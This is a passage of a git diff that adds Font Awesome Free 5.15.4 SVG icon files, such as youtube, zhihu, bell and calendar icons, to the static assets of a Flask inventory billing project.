7.6-88.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/youtube.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/youtube.svg new file mode 100644 index 00000000..725352e4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/youtube.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M549.655 124.083c-6.281-23.65-24.787-42.276-48.284-48.597C458.781 64 288 64 288 64S117.22 64 74.629 75.486c-23.497 6.322-42.003 24.947-48.284 48.597-11.412 42.867-11.412 132.305-11.412 132.305s0 89.438 11.412 132.305c6.281 23.65 24.787 41.5 48.284 47.821C117.22 448 288 448 288 448s170.78 0 213.371-11.486c23.497-6.321 42.003-24.171 48.284-47.821 11.412-42.867 11.412-132.305 11.412-132.305s0-89.438-11.412-132.305zm-317.51 213.508V175.185l142.739 81.205-142.739 81.201z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/zhihu.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/zhihu.svg new file mode 100644 index 00000000..59995606 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/zhihu.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M170.54 148.13v217.54l23.43.01 7.71 26.37 42.01-26.37h49.53V148.13H170.54zm97.75 193.93h-27.94l-27.9 17.51-5.08-17.47-11.9-.04V171.75h72.82v170.31zm-118.46-94.39H97.5c1.74-27.1 2.2-51.59 2.2-73.46h51.16s1.97-22.56-8.58-22.31h-88.5c3.49-13.12 7.87-26.66 13.12-40.67 0 0-24.07 0-32.27 21.57-3.39 8.9-13.21 43.14-30.7 78.12 5.89-.64 25.37-1.18 36.84-22.21 2.11-5.89 2.51-6.66 5.14-14.53h28.87c0 10.5-1.2 66.88-1.68 73.44H20.83c-11.74 0-15.56 23.62-15.56 23.62h65.58C66.45 321.1 42.83 363.12 0 396.34c20.49 5.85 40.91-.93 51-9.9 0 0 22.98-20.9 35.59-69.25l53.96 64.94s7.91-26.89-1.24-39.99c-7.58-8.92-28.06-33.06-36.79-41.81L87.9 311.95c4.36-13.98 6.99-27.55 7.87-40.67h61.65s-.09-23.62-7.59-23.62v.01zm412.02-1.6c20.83-25.64 44.98-58.57 44.98-58.57s-18.65-14.8-27.38-4.06c-6 8.15-36.83 48.2-36.83 48.2l19.23 14.43zm-150.09-59.09c-9.01-8.25-25.91 2.13-25.91 2.13s39.52 55.04 41.12 57.45l19.46-13.73s-25.67-37.61-34.66-45.86h-.01zM640 258.35c-19.78 0-130.91.93-131.06.93v-101c4.81 0 12.42-.4 22.85-1.2 40.88-2.41 70.13-4 87.77-4.81 0 0 12.22-27.19-.59-33.44-3.07-1.18-23.17 4.58-23.17 4.58s-165.22 16.49-232.36 18.05c1.6 8.82 7.62 17.08 15.78 19.55 13.31 3.48 22.69 1.7 49.15.89 24.83-1.6 43.68-2.43 56.51-2.43v99.81H351.41s2.82 22.31 25.51 22.85h107.94v70.92c0 13.97-11.19 21.99-24.48 21.12-14.08.11-26.08-1.15-41.69-1.81 1.99 3.97 6.33 14.39 19.31 21.84 9.88 4.81 16.17 6.57 26.02 6.57 29.56 0 45.67-17.28 44.89-45.31v-73.32h122.36c9.68 0 8.7-23.78 8.7-23.78l.03-.01z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/address-book.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/address-book.svg new file mode 100644 index 00000000..adc7e214 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/address-book.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M436 160c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h320c26.5 0 48-21.5 48-48v-48h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20zm-68 304H48V48h320v416zM208 256c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm-89.6 128h179.2c12.4 0 22.4-8.6 22.4-19.2v-19.2c0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6v19.2c0 10.6 10 19.2 22.4 19.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/address-card.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/address-card.svg new file mode 100644 index 00000000..c3eb42af --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/address-card.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 400H48V80h480v352zM208 256c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm-89.6 128h179.2c12.4 0 22.4-8.6 22.4-19.2v-19.2c0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6v19.2c0 10.6 10 19.2 22.4 19.2zM360 320h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/angry.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/angry.svg new file mode 100644 index 00000000..578b4306 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/angry.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm0-144c-33.6 0-65.2 14.8-86.8 40.6-8.5 10.2-7.1 25.3 3.1 33.8s25.3 7.2 33.8-3c24.8-29.7 75-29.7 99.8 0 8.1 9.7 23.2 11.9 33.8 3 10.2-8.5 11.5-23.6 3.1-33.8-21.6-25.8-53.2-40.6-86.8-40.6zm-48-72c10.3 0 19.9-6.7 23-17.1 3.8-12.7-3.4-26.1-16.1-29.9l-80-24c-12.8-3.9-26.1 3.4-29.9 16.1-3.8 12.7 3.4 26.1 16.1 29.9l28.2 8.5c-3.1 4.9-5.3 10.4-5.3 16.6 0 17.7 14.3 32 32 32s32-14.4 32-32.1zm199-54.9c-3.8-12.7-17.1-19.9-29.9-16.1l-80 24c-12.7 3.8-19.9 17.2-16.1 29.9 3.1 10.4 12.7 17.1 23 17.1 0 17.7 14.3 32 32 32s32-14.3 32-32c0-6.2-2.2-11.7-5.3-16.6l28.2-8.5c12.7-3.7 19.9-17.1 16.1-29.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/arrow-alt-circle-down.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/arrow-alt-circle-down.svg new file mode 100644 index 00000000..044bb91e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/arrow-alt-circle-down.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm-32-316v116h-67c-10.7 0-16 12.9-8.5 20.5l99 99c4.7 4.7 12.3 4.7 17 0l99-99c7.6-7.6 2.2-20.5-8.5-20.5h-67V140c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/arrow-alt-circle-left.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/arrow-alt-circle-left.svg new file mode 100644 index 00000000..e2dcb5a4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/arrow-alt-circle-left.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M8 256c0 137 111 248 248 248s248-111 248-248S393 8 256 8 8 119 8 256zm448 0c0 110.5-89.5 200-200 200S56 366.5 56 256 145.5 56 256 56s200 89.5 200 200zm-72-20v40c0 6.6-5.4 12-12 12H256v67c0 10.7-12.9 16-20.5 8.5l-99-99c-4.7-4.7-4.7-12.3 0-17l99-99c7.6-7.6 20.5-2.2 20.5 8.5v67h116c6.6 0 12 5.4 12 12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/arrow-alt-circle-right.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/arrow-alt-circle-right.svg new file mode 100644 index 00000000..9407bb14 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/arrow-alt-circle-right.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M504 256C504 119 393 8 256 8S8 119 8 256s111 248 248 248 248-111 248-248zm-448 0c0-110.5 89.5-200 200-200s200 89.5 200 200-89.5 200-200 200S56 366.5 56 256zm72 20v-40c0-6.6 5.4-12 12-12h116v-67c0-10.7 12.9-16 20.5-8.5l99 99c4.7 4.7 4.7 12.3 0 17l-99 99c-7.6 7.6-20.5 2.2-20.5-8.5v-67H140c-6.6 0-12-5.4-12-12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/arrow-alt-circle-up.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/arrow-alt-circle-up.svg new file mode 100644 index 00000000..02cd4b86 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/arrow-alt-circle-up.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 504c137 0 248-111 248-248S393 8 256 8 8 119 8 256s111 248 248 248zm0-448c110.5 0 200 89.5 200 200s-89.5 200-200 200S56 366.5 56 256 145.5 56 256 56zm20 328h-40c-6.6 0-12-5.4-12-12V256h-67c-10.7 0-16-12.9-8.5-20.5l99-99c4.7-4.7 12.3-4.7 17 0l99 99c7.6 7.6 2.2 20.5-8.5 20.5h-67v116c0 6.6-5.4 12-12 12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/bell-slash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/bell-slash.svg new file mode 100644 index 00000000..2ee71760 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/bell-slash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M633.99 471.02L36 3.51C29.1-2.01 19.03-.9 13.51 6l-10 12.49C-2.02 25.39-.9 35.46 6 40.98l598 467.51c6.9 5.52 16.96 4.4 22.49-2.49l10-12.49c5.52-6.9 4.41-16.97-2.5-22.49zM163.53 368c16.71-22.03 34.48-55.8 41.4-110.58l-45.47-35.55c-3.27 90.73-36.47 120.68-54.84 140.42-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h279.66l-61.4-48H163.53zM320 96c61.86 0 112 50.14 112 112 0 .2-.06.38-.06.58.02 16.84 1.16 31.77 2.79 45.73l59.53 46.54c-8.31-22.13-14.34-51.49-14.34-92.85 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84c-26.02 5.41-49.45 16.94-69.13 32.72l38.17 29.84C275 103.18 296.65 96 320 96zm0 416c35.32 0 63.97-28.65 63.97-64H256.03c0 35.35 28.65 64 63.97 64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/bell.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/bell.svg new file mode 100644 index 00000000..322baaa0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/bell.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M439.39 362.29c-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84C118.56 68.1 64.08 130.3 64.08 208c0 102.3-36.15 133.53-55.47 154.29-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h383.8c19.12 0 32-15.6 32.1-32 .05-7.55-2.61-15.27-8.61-21.71zM67.53 368c21.22-27.97 44.42-74.33 44.53-159.42 0-.2-.06-.38-.06-.58 0-61.86 50.14-112 112-112s112 50.14 112 112c0 .2-.06.38-.06.58.11 85.1 23.31 131.46 44.53 159.42H67.53zM224 512c35.32 0 63.97-28.65 63.97-64H160.03c0 35.35 28.65 64 63.97 64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/bookmark.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/bookmark.svg new file mode 100644 index 00000000..c3d26cb5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/bookmark.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M336 0H48C21.49 0 0 21.49 0 48v464l192-112 192 112V48c0-26.51-21.49-48-48-48zm0 428.43l-144-84-144 84V54a6 6 0 0 1 6-6h276c3.314 0 6 2.683 6 5.996V428.43z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/building.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/building.svg new file mode 100644 index 00000000..e9a3b4c2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/building.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M128 148v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12zm140 12h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm-128 96h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm128 0h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm-76 84v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm76 12h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm180 124v36H0v-36c0-6.6 5.4-12 12-12h19.5V24c0-13.3 10.7-24 24-24h337c13.3 0 24 10.7 24 24v440H436c6.6 0 12 5.4 12 12zM79.5 463H192v-67c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v67h112.5V49L80 48l-.5 415z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/calendar-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/calendar-alt.svg new file mode 100644 index 00000000..6249182b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/calendar-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M148 288h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12zm108-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm96 0v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm-96 96v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm-96 0v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm192 0v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm96-260v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/calendar-check.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/calendar-check.svg new file mode 100644 index 00000000..8c0b5738 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/calendar-check.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 64h-48V12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v52H160V12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v52H48C21.49 64 0 85.49 0 112v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm-6 400H54a6 6 0 0 1-6-6V160h352v298a6 6 0 0 1-6 6zm-52.849-200.65L198.842 404.519c-4.705 4.667-12.303 4.637-16.971-.068l-75.091-75.699c-4.667-4.705-4.637-12.303.068-16.971l22.719-22.536c4.705-4.667 12.303-4.637 16.97.069l44.104 44.461 111.072-110.181c4.705-4.667 12.303-4.637 16.971.068l22.536 22.718c4.667 4.705 4.636 12.303-.069 16.97z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/calendar-minus.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/calendar-minus.svg new file mode 100644 index 00000000..1d9ee2ee --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/calendar-minus.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M124 328c-6.6 0-12-5.4-12-12v-24c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v24c0 6.6-5.4 12-12 12H124zm324-216v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/calendar-plus.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/calendar-plus.svg new file mode 100644 index 00000000..894e4310 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/calendar-plus.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M336 292v24c0 6.6-5.4 12-12 12h-76v76c0 6.6-5.4 12-12 12h-24c-6.6 0-12-5.4-12-12v-76h-76c-6.6 0-12-5.4-12-12v-24c0-6.6 5.4-12 12-12h76v-76c0-6.6 5.4-12 12-12h24c6.6 0 12 5.4 12 12v76h76c6.6 0 12 5.4 12 12zm112-180v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/calendar-times.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/calendar-times.svg new file mode 100644 index 00000000..4117ae96 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/calendar-times.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M311.7 374.7l-17 17c-4.7 4.7-12.3 4.7-17 0L224 337.9l-53.7 53.7c-4.7 4.7-12.3 4.7-17 0l-17-17c-4.7-4.7-4.7-12.3 0-17l53.7-53.7-53.7-53.7c-4.7-4.7-4.7-12.3 0-17l17-17c4.7-4.7 12.3-4.7 17 0l53.7 53.7 53.7-53.7c4.7-4.7 12.3-4.7 17 0l17 17c4.7 4.7 4.7 12.3 0 17L257.9 304l53.7 53.7c4.8 4.7 4.8 12.3.1 17zM448 112v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/calendar.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/calendar.svg new file mode 100644 index 00000000..1cbe117d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/calendar.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 64h-48V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H160V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zm-6 400H54c-3.3 0-6-2.7-6-6V160h352v298c0 3.3-2.7 6-6 6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/caret-square-down.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/caret-square-down.svg new file mode 100644 index 00000000..53086ef4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/caret-square-down.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M125.1 208h197.8c10.7 0 16.1 13 8.5 20.5l-98.9 98.3c-4.7 4.7-12.2 4.7-16.9 0l-98.9-98.3c-7.7-7.5-2.3-20.5 8.4-20.5zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/caret-square-left.svg 